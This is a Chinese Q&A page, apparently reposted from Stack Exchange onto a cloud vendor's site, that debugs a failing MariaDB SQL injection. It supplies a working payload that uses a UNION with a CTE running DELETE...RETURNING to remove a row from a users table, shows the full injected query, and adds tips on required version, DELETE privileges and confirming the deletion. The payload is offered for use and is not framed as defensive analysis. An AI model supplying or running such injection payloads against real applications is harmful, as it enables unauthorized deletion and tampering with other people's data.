You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

MariaDB下SQL注入:DELETE RETURNING方式删行失效求助

问题分析与解决方案

你之前的payload失效的核心原因是MariaDB不允许在FROM子句中直接嵌套DELETE语句(即使带RETURNING)。DELETE属于数据修改语句(DML),而FROM子句要求的是能返回行集的查询类语句(比如SELECT),这是SQL语法的基础限制,和RETURNING无关。

可行的Payload构造

利用MariaDB支持的CTE(公共表表达式),可以在CTE中执行DELETE...RETURNING,再将其结果与原查询做UNION,语法上完全合法。构造的payload如下:

1 UNION WITH deleted_rows AS (DELETE FROM users WHERE user_id=7 RETURNING first_name) SELECT first_name, NULL FROM deleted_rows

拼接后的完整查询语句:

SELECT first_name, last_name FROM users WHERE user_id = 1 UNION WITH deleted_rows AS (DELETE FROM users WHERE user_id=7 RETURNING first_name) SELECT first_name, NULL FROM deleted_rows

额外注意事项

  • 确保MariaDB版本在10.0.5及以上,因为DELETE...RETURNING是从这个版本开始支持的。
  • 检查当前数据库用户是否拥有users表的DELETE权限,权限不足也会导致操作失效。
  • 如果原查询user_id=1没有返回结果,UNION后的结果集可能为空,但DELETE操作其实已经执行了,可以通过后续查询user_id=7是否存在来验证。

内容的提问来源于stack exchange,提问作者Ilab Sentuser

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.13 04:40:34